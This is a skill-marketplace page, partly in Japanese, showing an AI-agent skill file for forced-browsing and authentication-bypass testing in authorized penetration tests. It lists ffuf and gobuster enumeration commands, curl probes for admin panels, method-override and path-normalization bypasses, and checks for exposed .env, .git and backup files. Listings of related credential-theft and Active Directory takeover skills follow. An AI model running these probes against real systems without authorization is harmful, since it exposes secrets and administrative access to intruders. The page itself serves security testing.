本文へ移動
cccskills
無料GitHub で公開

bypassing-authentication-with-forced-browsing

Discovering and accessing unprotected pages, APIs, and administrative interfaces by enumerating URLs and bypassing authentication controls during authorized security assessments.

インストール方法を見る

含まれるファイル(4)

  • SKILL.md10.7 KB
  • LICENSE11.0 KB
  • references/api-reference.md2.2 KB
  • scripts/agent.py6.7 KB

SKILL.md(原文)

インストールする前に、エージェントに与えられる指示の中身を確認できます。

Bypassing Authentication with Forced Browsing

When to Use

  • During authorized penetration tests to discover hidden or unprotected administrative pages
  • When testing whether authentication is consistently enforced across all application endpoints
  • For identifying backup files, configuration files, and debug interfaces left exposed in production
  • When assessing access control on API endpoints that should require authentication
  • During security audits to validate that all sensitive resources enforce session validation

Prerequisites

  • Authorization: Written penetration testing agreement covering directory enumeration
  • ffuf: Fast web fuzzer (go install github.com/ffuf/ffuf/v2@latest)
  • Gobuster: Directory brute-force tool (apt install gobuster)
  • Burp Suite: For intercepting and analyzing requests and responses
  • Wordlists: SecLists collection (git clone https://github.com/danielmiessler/SecLists.git)
  • Target access: Network connectivity and valid test credentials for authenticated comparison

Workflow

Step 1: Enumerate Hidden Directories and Files

Use ffuf or Gobuster to discover paths not linked in the application's navigation.

# Directory enumeration with ffuf
ffuf -u https://target.example.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -mc 200,301,302,403 \
  -fc 404 \
  -o results-dirs.json -of json \
  -t 50 -rate 100

# File enumeration with common extensions
ffuf -u https://target.example.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
  -e .php,.asp,.aspx,.jsp,.html,.js,.json,.xml,.bak,.old,.txt,.cfg,.conf,.env \
  -mc 200,301,302,403 \
  -fc 404 \
  -o results-files.json -of json \
  -t 50 -rate 100

# Gobuster for directory enumeration
gobuster dir -u https://target.example.com \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -s "200,204,301,302,307,403" \
  -x php,asp,aspx,jsp,html \
  -o gobuster-results.txt \
  -t 50

Step 2: Discover Administrative and Debug Interfaces

Target common administrative paths and debug endpoints.

# Admin panel enumeration
ffuf -u https://target.example.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -mc 200,301,302 \
  -t 50 -rate 100

# Common admin paths to check manually:
# /admin, /administrator, /admin-panel, /wp-admin
# /cpanel, /phpmyadmin, /adminer, /manager
# /console, /debug, /actuator, /swagger-ui
# /graphql, /graphiql, /.env, /server-status

# API endpoint discovery
ffuf -u https://target.example.com/api/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -mc 200,201,204,301,302,401,403 \
  -fc 404 \
  -o api-results.json -of json

# Check for Spring Boot Actuator endpoints
for endpoint in env health info beans configprops mappings trace; do
  curl -s -o /dev/null -w "%{http_code} /actuator/$endpoint\n" \
    "https://target.example.com/actuator/$endpoint"
done

Step 3: Test Authentication Enforcement on Discovered Endpoints

Compare responses between unauthenticated and authenticated requests.

# Test without authentication
curl -s -o /dev/null -w "%{http_code}" \
  "https://target.example.com/admin/dashboard"

# Test with valid session cookie
curl -s -o /dev/null -w "%{http_code}" \
  -b "session=valid_session_token_here" \
  "https://target.example.com/admin/dashboard"

# Automated check: compare response sizes
# Unauthenticated request
curl -s "https://target.example.com/admin/users" | wc -c

# Authenticated request
curl -s -b "session=valid_token" \
  "https://target.example.com/admin/users" | wc -c

# If both return similar content, authentication is not enforced

# Test with Burp Intruder: send a list of discovered URLs
# without cookies and flag any 200 responses

Step 4: Test HTTP Method-Based Authentication Bypass

Some applications only enforce authentication for specific HTTP methods.

# Test different HTTP methods on protected endpoints
for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE; do
  echo -n "$method: "
  curl -s -o /dev/null -w "%{http_code}" \
    -X "$method" "https://target.example.com/admin/settings"
done

# Test HTTP method override headers
curl -s -o /dev/null -w "%{http_code}" \
  -X POST \
  -H "X-HTTP-Method-Override: GET" \
  "https://target.example.com/admin/settings"

curl -s -o /dev/null -w "%{http_code}" \
  -H "X-Original-Method: GET" \
  -H "X-Rewrite-URL: /admin/settings" \
  "https://target.example.com/"

Step 5: Test Path Traversal and URL Normalization Bypass

Exploit URL parsing differences to bypass path-based authentication rules.

# Path normalization bypass attempts
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/ADMIN/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/./dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/public/../admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin%2fdashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/;/admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin;anything/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/.;/admin/dashboard"

# Double URL encoding
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/%2561dmin/dashboard"

# Trailing characters
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard/"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard.json"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard%00"

Step 6: Discover Backup and Configuration Files

Search for sensitive files inadvertently exposed on the web server.

# Backup file discovery
ffuf -u https://target.example.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
  -e .bak,.old,.orig,.save,.swp,.tmp,.dist,.config,.sql,.gz,.tar,.zip \
  -mc 200 -t 50 -rate 100

# Common sensitive files
for file in .env .git/config .git/HEAD .svn/entries \
  web.config wp-config.php.bak config.php.old \
  database.yml .htpasswd server-status phpinfo.php \
  robots.txt sitemap.xml crossdomain.xml; do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://target.example.com/$file")
  if [ "$status" != "404" ]; then
    echo "FOUND ($status): $file"
  fi
done

# Git repository exposure check
curl -s "https://target.example.com/.git/HEAD"
# If this returns "ref: refs/heads/main", the git repo is exposed

Key Concepts

ConceptDescription
Forced BrowsingDirectly accessing URLs that are not linked but exist on the server
Directory EnumerationBrute-forcing directory and file names against a wordlist to discover hidden content
Authentication BypassAccessing protected resources without valid credentials due to missing access checks
Path NormalizationExploiting differences in how web servers and application frameworks parse URL paths
Method-based BypassUsing alternative HTTP methods (PUT, DELETE) that may not have authentication checks
Information DisclosureExposure of sensitive configuration files, backups, or debug interfaces
Defense in DepthLayered security controls where authentication is enforced at multiple levels

Tools & Systems

ToolPurpose
ffufFast web fuzzer for directory, file, and parameter enumeration
GobusterDirectory and DNS brute-forcing tool written in Go
FeroxbusterRecursive content discovery tool with automatic recursion
DirBusterOWASP Java-based directory brute-force tool with GUI
Burp SuiteHTTP proxy for request interception and automated scanning
SecListsComprehensive collection of wordlists for security testing

Common Scenarios

Scenario 1: Exposed Admin Panel

An admin panel at /admin/ is only hidden by not being linked in the navigation. Direct URL access reveals the full administrative interface without any authentication check.

Scenario 2: Unprotected API Endpoints

API endpoints at /api/v1/users and /api/v1/settings require authentication in the frontend application but the backend API does not enforce session validation, allowing unauthenticated direct access.

Scenario 3: Backup File Containing Credentials

A developer left config.php.bak on the production server. This backup file contains database credentials in plaintext, discovered through extension-based enumeration.

Scenario 4: Spring Boot Actuator Exposure

The /actuator/env endpoint is exposed without authentication, revealing environment variables including database connection strings, API keys, and secrets.

Output Format

## Forced Browsing / Authentication Bypass Finding

**Vulnerability**: Missing Authentication on Administrative Interface
**Severity**: Critical (CVSS 9.1)
**Location**: /admin/dashboard (GET, no authentication required)
**OWASP Category**: A01:2021 - Broken Access Control

### Discovered Unprotected Resources
| Path | Status | Auth Required | Content |
|------|--------|---------------|---------|
| /admin/dashboard | 200 | No | Full admin panel |
| /admin/users | 200 | No | User management |
| /actuator/env | 200 | No | Environment variables |
| /config.php.bak | 200 | No | Database credentials |
| /.git/HEAD | 200 | No | Git repository metadata |

### Impact
- Unauthenticated access to administrative functions
- Ability to create, modify, and delete user accounts
- Exposure of database credentials and API keys
- Full source code disclosure via exposed Git repository

### Recommendation
1. Implement authentication checks at the server/middleware level for all admin routes
2. Remove backup files, debug endpoints, and version control metadata from production
3. Configure web server to deny access to sensitive file extensions (.bak, .old, .env, .git)
4. Implement IP-based access restrictions for administrative interfaces
5. Use a reverse proxy to restrict access to internal-only endpoints

レビュー

まだレビューはありません。使ってみた感想をお寄せください。

同じリポジトリのスキル

概要と使いどころ

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.

日本語の概要は準備中です。原文の説明を表示しています。

mukul975/Anthropic-Cybersecurity-Skills3.4万2026年8月31日 更新

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.

日本語の概要は準備中です。原文の説明を表示しています。

mukul975/Anthropic-Cybersecurity-Skills3.4万2026年8月31日 更新

Prepare a defense-contractor environment for CMMC Level 2 certification: scope CUI and FCI, implement the 110 NIST SP 800-171 Rev 2 security requirements across 14 families, compute the SPRS score with the DoD Assessment Methodology, manage a compliant POA&M, and ready the organization for a C3PAO assessment. Use when an organization handles Controlled Unclassified Information (CUI) under a DoD contract, when a contract carries DFARS clause 252.204-7012/7019/7020/7021, when preparing for or responding to a CMMC assessment, when computing or improving an SPRS score, when building a System Security Plan or POA&M for 800-171, or when scoping which systems are in the CUI boundary. Keywords: CMMC, CMMC Level 2, NIST 800-171, SP 800-171 Rev 2, CUI, FCI, SPRS, DFARS 7012, C3PAO, POA&M, System Security Plan, DoD Assessment Methodology, 110 controls, defense industrial base, DIB, FedRAMP equivalency.

日本語の概要は準備中です。原文の説明を表示しています。

mukul975/Anthropic-Cybersecurity-Skills3.4万2026年8月31日 更新

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

日本語の概要は準備中です。原文の説明を表示しています。

mukul975/Anthropic-Cybersecurity-Skills3.4万2026年8月31日 更新

Detect dangerous ACL misconfigurations in Active Directory using ldap3 to identify GenericAll, WriteDACL, and WriteOwner abuse paths

日本語の概要は準備中です。原文の説明を表示しています。

mukul975/Anthropic-Cybersecurity-Skills3.4万2026年8月31日 更新

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

日本語の概要は準備中です。原文の説明を表示しています。

mukul975/Anthropic-Cybersecurity-Skills3.4万2026年8月31日 更新

mukul975 のスキルをすべて見る

このスキルの問題を報告する